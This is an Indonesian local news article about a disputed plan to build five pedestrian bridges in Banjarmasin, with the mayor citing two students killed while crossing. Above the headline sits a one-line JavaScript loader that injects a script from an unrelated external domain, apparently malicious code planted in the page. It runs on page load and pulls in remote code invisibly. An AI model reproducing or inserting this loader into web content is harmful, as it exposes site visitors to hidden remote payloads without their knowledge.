(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

HEADLINE

5 JPO di Banjarmasin Ditentang, Dua Mahasiswi Meninggal Dunia Ditabrak saat Menyeberang

KANALKALIMANTAN.COM, BANJARMASIN – Rencana lawas pembangunan Jembatan Penyeberangan Orang (JPO) di Kota Banjarmasin kembali mencuat.

Ada lima titik ruas jalan yang telah memiliki dokumen rancang bangun alias Detail Engineering Designalias (DED) dan sudah mempunyai studi kelayakan sejak tahun 2017 lalu.

Sehingga rencana pembangunan JPO tersebut hanya tinggal direalisasikan, dengan dibahas lebih jauh serta dianggarkan oleh Pemko Banjarmasin bersama DPRD Kota Banjarmasin.

Zebra cross atau tempat penyeberangan di ruas jalan A Yani Km 4,5 Banjarmasin -depan Kampus UIN Antasari- yang rencana akan dibangun JPO. Foto: rizki

Tiga titik JPO berada di ruas jalan nasional yakni di jalan A Yani Km 6 dekat kantor Disnakertrans Provinsi Kalsel, jalan A Yani Km 4,5 depan kampus UIN Antasari Banjarmasin, dan titik ketiga ruas jalan A Yani Km 2 depan RSUD Ulin Banjarmasin.

Dua rencana titik JPO lainnya berada di jalan Pangeran Samudera Pasar Baru depan Masjid Noor Banjarmasin dan di jalan Brigjen Hasan Basri depan kampus Universitas Lambung Mangkurat (ULM) Banjarmasin.

Sementara itu, rencana pembangunan JPO di Kota Seribu Sungai tersebut mendapat penolakan dari mantan anggota DPRD Kalsel Anang Rosadi.

Anang Rosadi menilain masih banyak pekerjaan rumah (PR) Pemko Banjarmasin selain membangun JPO.

Salah satunya, permasalahan sampah yang menurutnya masih belum dapat terselesaikan sepenuhnya saat ini.

Terlebih pada tahun 2022 lalu Kota Banjarmasin gagal meraih penghargaan Adipura untuk pengelolaan sampah dan lingkungan dari Kementerian KLHK RI.

“Jadi mana pentingnya menangani sampah atau JPO,” ujar Anang Roasadi.

Mantan anggota DPRD Kalsel ini mengambil contoh dari pembangunan JPO di Kota Banjarbaru yang sebenarnya menurutnya juga tidak terlalu urgensi untuk dibangun.

“Lihat saja itu (JPO) di Banjarbaru setelah beberapa hari jadi spot selfi, berapa miliar itu uang terbuang,” kata aktivitas Kalsel yang dikenal vokal ini.

Kemudian ia juga menyoroti pembangunan jembatan apung di Siring Kampung Ketupat Banjarmasin, menurutnya juga tidak efektif dan pada akhirnya tidak termanfaatkan masyarakat.

Masih menurut Anang, ruas jalan di Kota Banjarmasin dikatakannya juga tidak terlalu lebar dan kecepatan kendaraan juga tidak terlalu tinggi.

Kabarnya untuk pembangunan 5 JPO tersebut diperkirakan akan menelan dana sebesar Rp 25 miliar dari APBD Kota Banjarmasin, sehingga akan menjadi mubazir jika terealisasi.

“Kalau sampai terealisasi yang diperkirakan menelan Rp 25 miliar, maka fungsi DPRD kontrolnya sangat lemah,” kata Anang.

Maka ia menyarankan Pemko maupun DPRD Kota Banjarmasin untuk memfokuskan terhadap penanganan lain seperti sampah dan sektor untuk kesejahteraan masyarakat.

“Masih banyak urgensi yang lebih baik, karena motto kota Baiman (Barasih wan Nyaman),” uang itu bisa direalisasikan untuk pembuangan dan pengelolaan sampah,” katanya.

Penolakan rencana pembangunan 5 JPO itu, langsung direspon Wali Kota Banjarmasin Ibnu Sina.

“Sebenarnya, pihak UIN Antasari dan Masjid At Taqwa sudah bersurat ke pemerintah kota sejak 2017. Bahkan, setiap saya bertemu dengan Rektor UIN, selalu ditanyakan soal kelanjutan rencana JPO itu,” kata Wali Kota Ibnu Sina di grup WhatsApp Forkot Banjarmasin.

Ibnu Sina membeberkan hal itu berdasar laporan dari kampus UIN Antasari bahwa sudah ada dua mahasiswi yang meninggal dunia akibat ditabrak kendaraan bermotor saat menyeberang di ruas jalan A Yani Km 4,5 Banjarmasin.

“Begitu pula dengan para jamaah Masjid At Taqwa, jadi sebenarnya urgen sekali untuk dibangun JPO,” kata Ibnu Sina.

“Jadi, sebenarnya pemerintah kota tidak latah. Ini benar-benar keinginan warga sejak 2017 silam, sehingga pertimbangan itu yang menjadi dasar pemerintah kota untuk membangun JPO,” tegasnya. (Kanalkalimantan.com/rizki)

Reporter: rizki
Editor: bie